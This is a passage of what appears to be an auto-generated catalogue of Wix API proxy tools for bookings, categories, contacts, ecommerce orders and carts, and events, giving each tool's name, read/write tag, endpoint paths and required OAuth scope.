(write) — Create Resource Type via POST /bookings/v2/resources/resource-types POST /api/v1/wix/bookings/v2/resources/resource-types. Scopes: SCOPE.DC-BOOKINGS.MANAGE-BOOKINGS. wix_post_bookings_v2_resources_resource_types_count (read) — Count Resource Types via POST /bookings/v2/resources/resource-types/count POST /api/v1/wix/bookings/v2/resources/resource-types/count. Scopes: SCOPE.DC-BOOKINGS.READ-BOOKINGS-PUBLIC. wix_post_bookings_v2_resources_resource_types_query (read) — Query Resource Types via POST /bookings/v2/resources/resource-types/query POST /api/v1/wix/bookings/v2/resources/resource-types/query. Scopes: SCOPE.DC-BOOKINGS.READ-BOOKINGS-PUBLIC. wix_post_bookings_v2_resources_search (read) — Search Resources via POST /bookings/v2/resources/search POST /api/v1/wix/bookings/v2/resources/search. Scopes: SCOPE.DC-BOOKINGS.READ-BOOKINGS-PUBLIC. wix_post_categories_v1_bulk_categories_add_item (write) — Bulk Add Item To Categories via POST /categories/v1/bulk/categories/add-item POST /api/v1/wix/categories/v1/bulk/categories/add-item. Scopes: SCOPE.CATEGORIES.CATEGORY_ITEM_WRITE. wix_post_categories_v1_bulk_categories_by_categoryid_add_items (write) — Bulk Add Items To Category via POST /categories/v1/bulk/categories/{categoryId}/add-items POST /api/v1/wix/categories/v1/bulk/categories/{categoryId}/add-items. Scopes: SCOPE.CATEGORIES.CATEGORY_ITEM_WRITE. wix_post_categories_v1_bulk_categories_by_categoryid_remove_items (write) — Bulk Remove Items From Category via POST /categories/v1/bulk/categories/{categoryId}/remove-items POST /api/v1/wix/categories/v1/bulk/categories/{categoryId}/remove-items. Scopes: SCOPE.CATEGORIES.CATEGORY_ITEM_WRITE. wix_post_categories_v1_bulk_categories_remove_item (write) — Bulk Remove Item From Categories via POST /categories/v1/bulk/categories/remove-item POST /api/v1/wix/categories/v1/bulk/categories/remove-item. Scopes: SCOPE.CATEGORIES.CATEGORY_ITEM_WRITE. wix_post_categories_v1_bulk_categories_show (write) — Bulk Show Categories via POST /categories/v1/bulk/categories/show POST /api/v1/wix/categories/v1/bulk/categories/show. Scopes: SCOPE.CATEGORIES.CATEGORY_WRITE. wix_post_categories_v1_bulk_categories_update (write) — Bulk Update Categories via POST /categories/v1/bulk/categories/update POST /api/v1/wix/categories/v1/bulk/categories/update. Scopes: SCOPE.CATEGORIES.CATEGORY_WRITE. wix_post_categories_v1_categories (write) — Create Category via POST /categories/v1/categories POST /api/v1/wix/categories/v1/categories. Scopes: SCOPE.CATEGORIES.CATEGORY_WRITE. wix_post_categories_v1_categories_by_categoryid_list_items (write) — List Items In Category via POST /categories/v1/categories/{categoryId}/list-items POST /api/v1/wix/categories/v1/categories/{categoryId}/list-items. Scopes: SCOPE.CATEGORIES.CATEGORY_READ. wix_post_categories_v1_categories_by_categoryid_move (write) — Move Category via POST /categories/v1/categories/{categoryId}/move POST /api/v1/wix/categories/v1/categories/{categoryId}/move. Scopes: SCOPE.CATEGORIES.CATEGORY_WRITE. wix_post_categories_v1_categories_by_categoryid_set_arranged_items (write) — Set Arranged Items via POST /categories/v1/categories/{categoryId}/set-arranged-items POST /api/v1/wix/categories/v1/categories/{categoryId}/set-arranged-items. Scopes: SCOPE.CATEGORIES.CATEGORY_ITEM_WRITE. wix_post_categories_v1_categories_count (read) — Count Categories via POST /categories/v1/categories/count POST /api/v1/wix/categories/v1/categories/count. Scopes: SCOPE.CATEGORIES.CATEGORY_READ. wix_post_categories_v1_categories_list_categories_for_item (write) — List Categories For Item via POST /categories/v1/categories/list-categories-for-item POST /api/v1/wix/categories/v1/categories/list-categories-for-item. Scopes: SCOPE.CATEGORIES.CATEGORY_READ. wix_post_categories_v1_categories_list_categories_for_items (write) — List Categories For Items via POST /categories/v1/categories/list-categories-for-items POST /api/v1/wix/categories/v1/categories/list-categories-for-items. Scopes: SCOPE.CATEGORIES.CATEGORY_READ. wix_post_categories_v1_categories_query (read) — Query Categories via POST /categories/v1/categories/query POST /api/v1/wix/categories/v1/categories/query. Scopes: SCOPE.CATEGORIES.CATEGORY_READ. wix_post_categories_v1_categories_search (read) — Search Categories via POST /categories/v1/categories/search POST /api/v1/wix/categories/v1/categories/search. Scopes: SCOPE.CATEGORIES.CATEGORY_READ. wix_post_contacts_v4_attachments_by_contactid_upload_url (write) — Generate Attachment Upload Url via POST /contacts/v4/attachments/{contactId}/upload-url POST /api/v1/wix/contacts/v4/attachments/{contactId}/upload-url. Scopes: SCOPE.DC-CONTACTS.MANAGE-CONTACT-ATTACHMENTS. wix_post_contacts_v4_bulk_contacts_add_remove_labels (write) — Bulk Label And Unlabel Contacts via POST /contacts/v4/bulk/contacts/add-remove-labels POST /api/v1/wix/contacts/v4/bulk/contacts/add-remove-labels. Scopes: SCOPE.DC-CONTACTS.MANAGE-CONTACTS. wix_post_contacts_v4_bulk_contacts_delete (write) — Bulk Delete Contacts via POST /contacts/v4/bulk/contacts/delete POST /api/v1/wix/contacts/v4/bulk/contacts/delete. Scopes: SCOPE.DC-CONTACTS.MANAGE-CONTACTS. wix_post_contacts_v4_bulk_contacts_update (write) — Bulk Update Contacts via POST /contacts/v4/bulk/contacts/update POST /api/v1/wix/contacts/v4/bulk/contacts/update. Scopes: SCOPE.DC-CONTACTS.MANAGE-CONTACTS. wix_post_contacts_v4_contacts (write) — Create Contact via POST /contacts/v4/contacts POST /api/v1/wix/contacts/v4/contacts. Scopes: SCOPE.DC-CONTACTS.MANAGE-CONTACTS. wix_post_contacts_v4_contacts_by_contactid_labels (write) — Label Contact via POST /contacts/v4/contacts/{contactId}/labels POST /api/v1/wix/contacts/v4/contacts/{contactId}/labels. Scopes: SCOPE.DC-CONTACTS.MANAGE-CONTACTS. wix_post_contacts_v4_contacts_by_targetcontactid_merge (write) — Merge Contacts via POST /contacts/v4/contacts/{targetContactId}/merge POST /api/v1/wix/contacts/v4/contacts/{targetContactId}/merge. Scopes: SCOPE.DC-CONTACTS.MANAGE-CONTACTS. wix_post_contacts_v4_contacts_by_targetcontactid_preview_merge (write) — Preview Merge Contacts via POST /contacts/v4/contacts/{targetContactId}/preview-merge POST /api/v1/wix/contacts/v4/contacts/{targetContactId}/preview-merge. Scopes: SCOPE.DC-CONTACTS.MANAGE-CONTACTS. wix_post_contacts_v4_contacts_facets_query (write) — Query Facets via POST /contacts/v4/contacts/facets/query POST /api/v1/wix/contacts/v4/contacts/facets/query. Scopes: SCOPE.DC-CONTACTS.READ-CONTACTS. wix_post_contacts_v4_contacts_query (read) — Query Contacts via POST /contacts/v4/contacts/query POST /api/v1/wix/contacts/v4/contacts/query. Scopes: SCOPE.DC-CONTACTS.READ-CONTACTS. wix_post_contacts_v4_extended_fields (write) — Find Or Create Extended Field via POST /contacts/v4/extended-fields POST /api/v1/wix/contacts/v4/extended-fields. Scopes: SCOPE.DC-CONTACTS.MANAGE-EX-FIELDS. wix_post_contacts_v4_extended_fields_query (read) — Query Extended Fields via POST /contacts/v4/extended-fields/query POST /api/v1/wix/contacts/v4/extended-fields/query. Scopes: SCOPE.DC-CONTACTS.MANAGE-EX-FIELDS. wix_post_contacts_v4_labels (write) — Find Or Create Label via POST /contacts/v4/labels POST /api/v1/wix/contacts/v4/labels. Scopes: SCOPE.DC-CONTACTS.MANAGE-LABELS. wix_post_contacts_v4_labels_query (read) — Query Labels via POST /contacts/v4/labels/query POST /api/v1/wix/contacts/v4/labels/query. Scopes: SCOPE.DC-CONTACTS.MANAGE-LABELS. wix_post_contacts_v5_bulk_contacts_subscriptions_update (write) — Bulk Update Contact Subscriptions via POST /contacts/v5/bulk/contacts/subscriptions/update POST /api/v1/wix/contacts/v5/bulk/contacts/subscriptions/update. Scopes: SCOPE.EVENTS.MANAGE-EVENTS. wix_post_ecom_v1_abandoned_checkout_query (read) — Query Abandoned Checkouts via POST /ecom/v1/abandoned-checkout/query POST /api/v1/wix/ecom/v1/abandoned-checkout/query. Scopes: SCOPE.DC-STORES.READ-ORDERS. wix_post_ecom_v1_abandoned_checkout_search (read) — Search Abandoned Checkouts via POST /ecom/v1/abandoned-checkout/search POST /api/v1/wix/ecom/v1/abandoned-checkout/search. Scopes: SCOPE.DC-STORES.READ-ORDERS. wix_post_ecom_v1_bulk_abandoned_checkout_delete (write) — Bulk Delete Abandoned Checkouts via POST /ecom/v1/bulk/abandoned-checkout/delete POST /api/v1/wix/ecom/v1/bulk/abandoned-checkout/delete. Scopes: SCOPE.DC-STORES.MANAGE-ORDERS. wix_post_ecom_v1_bulk_orders_update (write) — Bulk Update Orders via POST /ecom/v1/bulk/orders/update POST /api/v1/wix/ecom/v1/bulk/orders/update. Scopes: SCOPE.DC-STORES.MANAGE-ORDERS. wix_post_ecom_v1_bulk_orders_update_tags (write) — Bulk Update Order Tags via POST /ecom/v1/bulk/orders/update-tags POST /api/v1/wix/ecom/v1/bulk/orders/update-tags. Scopes: SCOPE.DC-STORES.MANAGE-ORDERS. wix_post_ecom_v1_bulk_payments_update_payment_transaction_status (write) — Bulk Update Payment Statuses via POST /ecom/v1/bulk/payments/update-payment-transaction-status POST /api/v1/wix/ecom/v1/bulk/payments/update-payment-transaction-status. Scopes: SCOPE.DC-STORES.MANAGE-ORDERS. wix_post_ecom_v1_checkout_templates (write) — Create Checkout Template via POST /ecom/v1/checkout-templates POST /api/v1/wix/ecom/v1/checkout-templates. Scopes: SCOPE.DC-ECOM-MEGA.MANAGE-ECOM. wix_post_ecom_v1_checkout_templates_by_checkouttemplateid_create_checkout_from_template (write) — Create Checkout From Template via POST /ecom/v1/checkout-templates/{checkoutTemplateId}/create-checkout-from-template POST /api/v1/wix/ecom/v1/checkout-templates/{checkoutTemplateId}/create-checkout-from-template. Scopes: SCOPE.DC-ECOM-MEGA.MANAGE-ECOM. wix_post_ecom_v1_checkout_templates_query (read) — Query Checkout Templates via POST /ecom/v1/checkout-templates/query POST /api/v1/wix/ecom/v1/checkout-templates/query. Scopes: SCOPE.DC-ECOM-MEGA.MANAGE-ECOM. wix_post_ecom_v1_draft_orders (write) — Create Draft Order via POST /ecom/v1/draft-orders POST /api/v1/wix/ecom/v1/draft-orders. Scopes: SCOPE.ECOM.DRAFT-ORDERS. wix_post_ecom_v1_draft_orders_by_draftorderid_add_line_items (write) — Add Line Items To Draft Order via POST /ecom/v1/draft-orders/{draftOrderId}/add-line-items POST /api/v1/wix/ecom/v1/draft-orders/{draftOrderId}/add-line-items. Scopes: SCOPE.ECOM.DRAFT-ORDERS. wix_post_ecom_v1_draft_orders_by_draftorderid_commit (write) — Commit Draft Order via POST /ecom/v1/draft-orders/{draftOrderId}/commit POST /api/v1/wix/ecom/v1/draft-orders/{draftOrderId}/commit. Scopes: SCOPE.ECOM.DRAFT-ORDERS. wix_post_ecom_v1_draft_orders_by_draftorderid_create_additional_fees (write) — Create Custom Additional Fees via POST /ecom/v1/draft-orders/{draftOrderId}/create-additional-fees POST /api/v1/wix/ecom/v1/draft-orders/{draftOrderId}/create-additional-fees. Scopes: SCOPE.ECOM.DRAFT-ORDERS. wix_post_ecom_v1_draft_orders_by_draftorderid_create_custom_discounts (write) — Create Custom Discounts via POST /ecom/v1/draft-orders/{draftOrderId}/create-custom-discounts POST /api/v1/wix/ecom/v1/draft-orders/{draftOrderId}/create-custom-discounts. Scopes: SCOPE.ECOM.DRAFT-ORDERS. wix_post_ecom_v1_draft_orders_by_draftorderid_create_order (write) — Create Order From Draft via POST /ecom/v1/draft-orders/{draftOrderId}/create-order POST /api/v1/wix/ecom/v1/draft-orders/{draftOrderId}/create-order. Scopes: SCOPE.ECOM.DRAFT-ORDERS. wix_post_ecom_v1_draft_orders_by_draftorderid_delete_custom_additional_fees (write) — Delete Custom Additional Fees via POST /ecom/v1/draft-orders/{draftOrderId}/delete-custom-additional-fees POST /api/v1/wix/ecom/v1/draft-orders/{draftOrderId}/delete-custom-additional-fees. Scopes: SCOPE.ECOM.DRAFT-ORDERS. wix_post_ecom_v1_draft_orders_by_draftorderid_delete_custom_discounts (write) — Delete Custom Discounts via POST /ecom/v1/draft-orders/{draftOrderId}/delete-custom-discounts POST /api/v1/wix/ecom/v1/draft-orders/{draftOrderId}/delete-custom-discounts. Scopes: SCOPE.ECOM.DRAFT-ORDERS. wix_post_ecom_v1_draft_orders_by_draftorderid_line_items (write) — Update Line Items via POST /ecom/v1/draft-orders/{draftOrderId}/line-items POST /api/v1/wix/ecom/v1/draft-orders/{draftOrderId}/line-items. Scopes: SCOPE.ECOM.DRAFT-ORDERS. wix_post_ecom_v1_draft_orders_by_draftorderid_set_additional_fees (write) — Set Additional Fees via POST /ecom/v1/draft-orders/{draftOrderId}/set-additional-fees POST /api/v1/wix/ecom/v1/draft-orders/{draftOrderId}/set-additional-fees. Scopes: SCOPE.ECOM.DRAFT-ORDERS. wix_post_ecom_v1_draft_orders_by_draftorderid_set_discounts (write) — Set Discounts via POST /ecom/v1/draft-orders/{draftOrderId}/set-discounts POST /api/v1/wix/ecom/v1/draft-orders/{draftOrderId}/set-discounts. Scopes: SCOPE.ECOM.DRAFT-ORDERS. wix_post_ecom_v1_draft_orders_by_id_update_extended_fields (write) — Update Extended Fields via POST /ecom/v1/draft-orders/{id}/update-extended-fields POST /api/v1/wix/ecom/v1/draft-orders/{id}/update-extended-fields. Scopes: SCOPE.ECOM.DRAFT-ORDERS. wix_post_ecom_v1_draft_orders_query (read) — Query Draft Orders via POST /ecom/v1/draft-orders/query POST /api/v1/wix/ecom/v1/draft-orders/query. Scopes: SCOPE.ECOM.DRAFT-ORDERS. wix_post_ecom_v1_fulfillments_list_by_ids (read) — List Fulfillments For Multiple Orders via POST /ecom/v1/fulfillments/list-by-ids POST /api/v1/wix/ecom/v1/fulfillments/list-by-ids. Scopes: SCOPE.DC-STORES.READ-ORDERS. wix_post_ecom_v1_fulfillments_orders_bulk_create_fulfillments (write) — Bulk Create Fulfillments via POST /ecom/v1/fulfillments/orders/bulk/create-fulfillments POST /api/v1/wix/ecom/v1/fulfillments/orders/bulk/create-fulfillments. Scopes: SCOPE.DC-STORES.MANAGE-ORDERS. wix_post_ecom_v1_fulfillments_orders_by_orderid_create_fulfillment (write) — Create Fulfillment via POST /ecom/v1/fulfillments/orders/{orderId}/create-fulfillment POST /api/v1/wix/ecom/v1/fulfillments/orders/{orderId}/create-fulfillment. Scopes: SCOPE.DC-STORES.MANAGE-ORDERS. wix_post_ecom_v1_invoices_list_by_ids (write) — List Invoices For Multiple Orders via POST /ecom/v1/invoices/list-by-ids POST /api/v1/wix/ecom/v1/invoices/list-by-ids. Scopes: SCOPE.DC-STORES.READ-ORDERS. wix_post_ecom_v1_order_billing_authorize_charge_with_saved_payment_method (write) — Authorize Charge With Saved Payment Method via POST /ecom/v1/order-billing/authorize-charge-with-saved-payment-method POST /api/v1/wix/ecom/v1/order-billing/authorize-charge-with-saved-payment-method. Scopes: SCOPE.DC-STORES.MANAGE-ORDERS. wix_post_ecom_v1_order_billing_calculate_refund (write) — Calculate Refund via POST /ecom/v1/order-billing/calculate-refund POST /api/v1/wix/ecom/v1/order-billing/calculate-refund. Scopes: SCOPE.DC-STORES.MANAGE-ORDERS. wix_post_ecom_v1_order_billing_capture_authorized_payments (write) — Capture Authorized Payments via POST /ecom/v1/order-billing/capture-authorized-payments POST /api/v1/wix/ecom/v1/order-billing/capture-authorized-payments. Scopes: SCOPE.DC-STORES.MANAGE-ORDERS. wix_post_ecom_v1_order_billing_generate_receipts (write) — Generate Receipts via POST /ecom/v1/order-billing/generate-receipts POST /api/v1/wix/ecom/v1/order-billing/generate-receipts. Scopes: SCOPE.DC-STORES.MANAGE-ORDERS. wix_post_ecom_v1_order_billing_get_order_refundability (write) — Get Order Refundability via POST /ecom/v1/order-billing/get-order-refundability POST /api/v1/wix/ecom/v1/order-billing/get-order-refundability. Scopes: SCOPE.DC-STORES.MANAGE-ORDERS. wix_post_ecom_v1_order_billing_redeem_gift_card (write) — Redeem Gift Card via POST /ecom/v1/order-billing/redeem-gift-card POST /api/v1/wix/ecom/v1/order-billing/redeem-gift-card. Scopes: SCOPE.DC-STORES.MANAGE-ORDERS. wix_post_ecom_v1_order_billing_refund_payments (write) — Refund Payments via POST /ecom/v1/order-billing/refund-payments POST /api/v1/wix/ecom/v1/order-billing/refund-payments. Scopes: SCOPE.DC-STORES.MANAGE-ORDERS. wix_post_ecom_v1_order_billing_void_authorized_payments (write) — Void Authorized Payments via POST /ecom/v1/order-billing/void-authorized-payments POST /api/v1/wix/ecom/v1/order-billing/void-authorized-payments. Scopes: SCOPE.DC-STORES.MANAGE-ORDERS. wix_post_ecom_v1_orders (write) — Create Order via POST /ecom/v1/orders POST /api/v1/wix/ecom/v1/orders. Scopes: SCOPE.DC-STORES.MANAGE-ORDERS. wix_post_ecom_v1_orders_by_id_cancel (write) — Cancel Order via POST /ecom/v1/orders/{id}/cancel POST /api/v1/wix/ecom/v1/orders/{id}/cancel. Scopes: SCOPE.DC-STORES.MANAGE-ORDERS. wix_post_ecom_v1_orders_by_orderid_activities_add (write) — Add Activities via POST /ecom/v1/orders/{orderId}/activities/add POST /api/v1/wix/ecom/v1/orders/{orderId}/activities/add. Scopes: SCOPE.DC-STORES.MANAGE-ORDERS. wix_post_ecom_v1_orders_search (read) — Search Orders via POST /ecom/v1/orders/search POST /api/v1/wix/ecom/v1/orders/search. Scopes: SCOPE.DC-STORES.READ-ORDERS. wix_post_ecom_v1_payments_by_paymentid_orders_by_orderid_update_payment_transaction_status (write) — Update Payment Status via POST /ecom/v1/payments/{paymentId}/orders/{orderId}/update-payment-transaction-status POST /api/v1/wix/ecom/v1/payments/{paymentId}/orders/{orderId}/update-payment-transaction-status. Scopes: SCOPE.DC-STORES.MANAGE-ORDERS. wix_post_ecom_v1_payments_list_by_ids (write) — List Transactions For Multiple Orders via POST /ecom/v1/payments/list-by-ids POST /api/v1/wix/ecom/v1/payments/list-by-ids. Scopes: SCOPE.DC-STORES.READ-ORDERS. wix_post_ecom_v1_payments_orders_by_orderid_add_payment (write) — Add Payments via POST /ecom/v1/payments/orders/{orderId}/add-payment POST /api/v1/wix/ecom/v1/payments/orders/{orderId}/add-payment. Scopes: SCOPE.DC-STORES.MANAGE-ORDERS. wix_post_ecom_v2_carts (write) — Create Cart via POST /ecom/v2/carts POST /api/v1/wix/ecom/v2/carts. Scopes: SCOPE.ECOM.WRITE-CARTS-V2_LIMITED. wix_post_ecom_v2_carts_by_cartid_add_coupon (write) — Add Coupon via POST /ecom/v2/carts/{cartId}/add-coupon POST /api/v1/wix/ecom/v2/carts/{cartId}/add-coupon. Scopes: SCOPE.ECOM.WRITE-CARTS-V2. wix_post_ecom_v2_carts_by_cartid_add_gift_card (write) — Add Gift Card via POST /ecom/v2/carts/{cartId}/add-gift-card POST /api/v1/wix/ecom/v2/carts/{cartId}/add-gift-card. Scopes: SCOPE.ECOM.WRITE-CARTS-V2. wix_post_ecom_v2_carts_by_cartid_add_line_items (write) — Add Line Items via POST /ecom/v2/carts/{cartId}/add-line-items POST /api/v1/wix/ecom/v2/carts/{cartId}/add-line-items. Scopes: SCOPE.ECOM.WRITE-CARTS-V2. wix_post_ecom_v2_carts_by_cartid_calculate (write) — Calculate Cart via POST /ecom/v2/carts/{cartId}/calculate POST /api/v1/wix/ecom/v2/carts/{cartId}/calculate. Scopes: SCOPE.ECOM.WRITE-CARTS-V2_LIMITED. wix_post_ecom_v2_carts_by_cartid_estimate (write) — Estimate Cart via POST /ecom/v2/carts/{cartId}/estimate POST /api/v1/wix/ecom/v2/carts/{cartId}/estimate. Scopes: SCOPE.ECOM.WRITE-CARTS-V2_LIMITED. wix_post_ecom_v2_carts_by_cartid_get_checkout_url (write) — Get Checkout URL via POST /ecom/v2/carts/{cartId}/get-checkout-url POST /api/v1/wix/ecom/v2/carts/{cartId}/get-checkout-url. Scopes: SCOPE.ECOM.READ-CARTS-V2_LIMITED. wix_post_ecom_v2_carts_by_cartid_mark_cart_as_completed (write) — Mark Cart As Completed via POST /ecom/v2/carts/{cartId}/mark-cart-as-completed POST /api/v1/wix/ecom/v2/carts/{cartId}/mark-cart-as-completed. Scopes: SCOPE.ECOM.WRITE-CARTS-V2. wix_post_ecom_v2_carts_by_cartid_place_order (write) — Place Order via POST /ecom/v2/carts/{cartId}/place-order POST /api/v1/wix/ecom/v2/carts/{cartId}/place-order. Scopes: SCOPE.ECOM.WRITE-CARTS-V2_LIMITED. wix_post_ecom_v2_carts_by_cartid_refresh (write) — Refresh Cart via POST /ecom/v2/carts/{cartId}/refresh POST /api/v1/wix/ecom/v2/carts/{cartId}/refresh. Scopes: SCOPE.ECOM.WRITE-CARTS-V2_LIMITED. wix_post_ecom_v2_carts_by_cartid_remove_coupon (write) — Remove Coupon via POST /ecom/v2/carts/{cartId}/remove-coupon POST /api/v1/wix/ecom/v2/carts/{cartId}/remove-coupon. Scopes: SCOPE.ECOM.WRITE-CARTS-V2. wix_post_ecom_v2_carts_by_cartid_remove_delivery_method (write) — Remove Delivery Method via POST /ecom/v2/carts/{cartId}/remove-delivery-method POST /api/v1/wix/ecom/v2/carts/{cartId}/remove-delivery-method. Scopes: SCOPE.ECOM.WRITE-CARTS-V2. wix_post_ecom_v2_carts_by_cartid_remove_gift_card (write) — Remove Gift Card via POST /ecom/v2/carts/{cartId}/remove-gift-card POST /api/v1/wix/ecom/v2/carts/{cartId}/remove-gift-card. Scopes: SCOPE.ECOM.WRITE-CARTS-V2. wix_post_ecom_v2_carts_by_cartid_remove_line_items (write) — Remove Line Items via POST /ecom/v2/carts/{cartId}/remove-line-items POST /api/v1/wix/ecom/v2/carts/{cartId}/remove-line-items. Scopes: SCOPE.ECOM.WRITE-CARTS-V2. wix_post_ecom_v2_carts_by_cartid_set_delivery_method (write) — Set Delivery Method via POST /ecom/v2/carts/{cartId}/set-delivery-method POST /api/v1/wix/ecom/v2/carts/{cartId}/set-delivery-method. Scopes: SCOPE.ECOM.WRITE-CARTS-V2. wix_post_ecom_v2_carts_by_cartid_update_forms_submission (write) — Update Form Submissions via POST /ecom/v2/carts/{cartId}/update-forms-submission POST /api/v1/wix/ecom/v2/carts/{cartId}/update-forms-submission. Scopes: SCOPE.ECOM.WRITE-CARTS-V2. wix_post_ecom_v2_carts_by_cartid_update_line_items (write) — Update Line Items via POST /ecom/v2/carts/{cartId}/update-line-items POST /api/v1/wix/ecom/v2/carts/{cartId}/update-line-items. Scopes: SCOPE.ECOM.WRITE-CARTS-V2. wix_post_ecom_v2_carts_current (write) — Create Current Cart via POST /ecom/v2/carts/current POST /api/v1/wix/ecom/v2/carts/current. Scopes: SCOPE.ECOM.WRITE-CARTS-V2. wix_post_ecom_v2_carts_current_add_coupon (write) — Add Coupon To Current Cart via POST /ecom/v2/carts/current/add-coupon POST /api/v1/wix/ecom/v2/carts/current/add-coupon. Scopes: SCOPE.ECOM.WRITE-CARTS-V2. wix_post_ecom_v2_carts_current_add_gift_card (write) — Add Gift Card To Current Cart via POST /ecom/v2/carts/current/add-gift-card POST /api/v1/wix/ecom/v2/carts/current/add-gift-card. Scopes: SCOPE.ECOM.WRITE-CARTS-V2. wix_post_ecom_v2_carts_current_add_line_items (write) — Add Line Items To Current Cart via POST /ecom/v2/carts/current/add-line-items POST /api/v1/wix/ecom/v2/carts/current/add-line-items. Scopes: SCOPE.ECOM.WRITE-CARTS-V2. wix_post_ecom_v2_carts_current_calculate (write) — Calculate Current Cart via POST /ecom/v2/carts/current/calculate POST /api/v1/wix/ecom/v2/carts/current/calculate. Scopes: SCOPE.ECOM.READ-CARTS-V2. wix_post_ecom_v2_carts_current_estimate (write) — Estimate Current Cart via POST /ecom/v2/carts/current/estimate POST /api/v1/wix/ecom/v2/carts/current/estimate. Scopes: SCOPE.ECOM.READ-CARTS-V2. wix_post_ecom_v2_carts_current_refresh (write) — Refresh Current Cart via POST /ecom/v2/carts/current/refresh POST /api/v1/wix/ecom/v2/carts/current/refresh. Scopes: SCOPE.ECOM.READ-CARTS-V2. wix_post_ecom_v2_carts_current_remove_coupon (write) — Remove Coupon From Current Cart via POST /ecom/v2/carts/current/remove-coupon POST /api/v1/wix/ecom/v2/carts/current/remove-coupon. Scopes: SCOPE.ECOM.WRITE-CARTS-V2. wix_post_ecom_v2_carts_current_remove_delivery_method (write) — Remove Delivery Method From Current Cart via POST /ecom/v2/carts/current/remove-delivery-method POST /api/v1/wix/ecom/v2/carts/current/remove-delivery-method. Scopes: SCOPE.ECOM.WRITE-CARTS-V2. wix_post_ecom_v2_carts_current_remove_gift_card (write) — Remove Gift Card From Current Cart via POST /ecom/v2/carts/current/remove-gift-card POST /api/v1/wix/ecom/v2/carts/current/remove-gift-card. Scopes: SCOPE.ECOM.WRITE-CARTS-V2. wix_post_ecom_v2_carts_current_remove_line_items (write) — Remove Line Items From Current Cart via POST /ecom/v2/carts/current/remove-line-items POST /api/v1/wix/ecom/v2/carts/current/remove-line-items. Scopes: SCOPE.ECOM.WRITE-CARTS-V2. wix_post_ecom_v2_carts_current_set_delivery_method (write) — Set Delivery Method For Current Cart via POST /ecom/v2/carts/current/set-delivery-method POST /api/v1/wix/ecom/v2/carts/current/set-delivery-method. Scopes: SCOPE.ECOM.WRITE-CARTS-V2. wix_post_ecom_v2_carts_current_update_forms_submission (write) — Update Form Submissions In Current Cart via POST /ecom/v2/carts/current/update-forms-submission POST /api/v1/wix/ecom/v2/carts/current/update-forms-submission. Scopes: SCOPE.ECOM.WRITE-CARTS-V2. wix_post_ecom_v2_carts_current_update_line_items (write) — Update Line Items In Current Cart via POST /ecom/v2/carts/current/update-line-items POST /api/v1/wix/ecom/v2/carts/current/update-line-items. Scopes: SCOPE.ECOM.WRITE-CARTS-V2. wix_post_events_v1_bulk_categories_create (write) — Bulk Create Category via POST /events/v1/bulk/categories/create POST /api/v1/wix/events/v1/bulk/categories/create. Scopes: SCOPE.DC-EVENTS-MEGA.MANAGE-EVENTS. wix_post_events_v1_bulk_categories_events (write) — Bulk Assign Events via POST /events/v1/bulk/categories/events POST /api/v1/wix/events/v1/bulk/categories/events. Scopes: SCOPE.DC-EVENTS-MEGA.MANAGE-EVENTS. wix_post_events_v1_bulk_ticket_reservations_update_tags (write) — Bulk Update Ticket Reservation Tags via POST /events/v1/bulk/ticket-reservations/update-tags POST /api/v1/wix/events/v1/bulk/ticket-reservations/update-tags. Scopes: SCOPE.DC-EVENTS.MANAGE-ORDERS. wix_post_events_v1_bulk_ticket_reservations_update_tags_by_filter (write) — Bulk Update Ticket Reservation Tags By Filter via POST /events/v1/bulk/ticket-reservations/update-tags-by-filter POST /api/v1/wix/events/v1/bulk/ticket-reservations/update-tags-by-filter. Scopes: SCOPE.DC-EVENTS.MANAGE-ORDERS. wix_post_events_v1_categories (write) — Create Category via POST /events/v1/categories POST /api/v1/wix/events/v1/categories. Scopes: SCOPE.DC-EVENTS-MEGA.MANAGE-EVENTS. wix_post_events_v1_categories_by_categoryid_events (write) — Assign Events via POST /events/v1/categories/{categoryId}/events POST /api/v1/wix/events/v1/categories/{categoryId}/events. Scopes: SCOPE.DC-EVENTS-MEGA.MANAGE-EVENTS. wix_post_events_v1_categories_by_categoryid_reorder (write) — Reorder Category Events via POST /events/v1/categories/{categoryId}/reorder POST /api/v1/wix/events/v1/categories/{categoryId}/reorder. Scopes: SCOPE.DC-EVENTS-MEGA.MANAGE-EVENTS. wix_post_events_v1_categories_query (read) — Query Categories via POST /events/v1/categories/query POST /api/v1/wix/events/v1/categories/query. Scopes: SCOPE.DC-EVENTS.READ-EVENTS. wix_post_events_v1_checkout (write) — Checkout via POST /events/v1/checkout POST /api/v1/wix/events/v1/checkout. Scopes: SCOPE.EVENTS.EVENTS-CHECKOUT. wix_post_events_v1_checkout_available_tickets_query (write) — Query Available Tickets via POST /events/v1/checkout/available-tickets/query POST /api/v1/wix/events/v1/checkout/available-tickets/query. Scopes: SCOPE.EVENTS.EVENTS-CHECKOUT. wix_post_events_v1_checkout_invoices_by_reservationid (write) — Get Invoice via POST /events/v1/checkout/invoices/{reservationId} POST /api/v1/wix/events/v1/checkout/invoices/{reservationId}. Scopes: SCOPE.DC-EVENTS.READ-BASIC-ORDERS. wix_post_events_v1_events_by_eventid_form_control (write) — Add Control via POST /events/v1/events/{eventId}/form/control POST /api/v1/wix/events/v1/events/{eventId}/form/control. Scopes: SCOPE.DC-EVENTS.MANAGE-EVENTS. wix_post_events_v1_events_by_eventid_orders_confirm (write) — Confirm Order via POST /events/v1/events/{eventId}/orders/confirm POST /api/v1/wix/events/v1/events/{eventId}/orders/confirm. Scopes: SCOPE.DC-EVENTS.MANAGE-ORDERS. wix_post_events_v1_schedule_draft (write) — Add Schedule Item via POST /events/v1/schedule/draft POST /api/v1/wix/events/v1/schedule/draft. Scopes: SCOPE.DC-EVENTS-MEGA.MANAGE-EVENTS. wix_post_events_v1_schedule_draft_reschedule (write) — Reschedule Draft via POST /events/v1/schedule/draft/reschedule POST /api/v1/wix/events/v1/schedule/draft/reschedule. Scopes: SCOPE.DC-EVENTS-MEGA.MANAGE-EVENTS. wix_post_events_v1_schedule_publish (write) — Publish Draft via POST /events/v1/schedule/publish POST /api/v1/wix/events/v1/schedule/publish. Scopes: SCOPE.DC-EVENTS-MEGA.MANAGE-EVENTS. wix_post_events_v1_schedule_query (read) — Query Schedule Items via POST /events/v1/schedule/query POST /api/v1/wix/events/v1/schedule/query. Scopes: SCOPE.EVENTS.MANAGE-EVENTS. wix_post_events_v1_staff_members (write) — Create Staff Member via POST /events/v1/staff-members POST /api/v1/wix/events/v1/staff-members. Scopes: SCOPE.DC-EVENTS-MEGA.MANAGE-EVENTS. wix_post_events_v1_staff_members_query (read) — Query Staff Members via POST /events/v1/staff-members/query POST /api/v1/wix/events/v1/staff-members/query. Scopes: SCOPE.DC-EVENTS-MEGA.MANAGE-EVENTS. 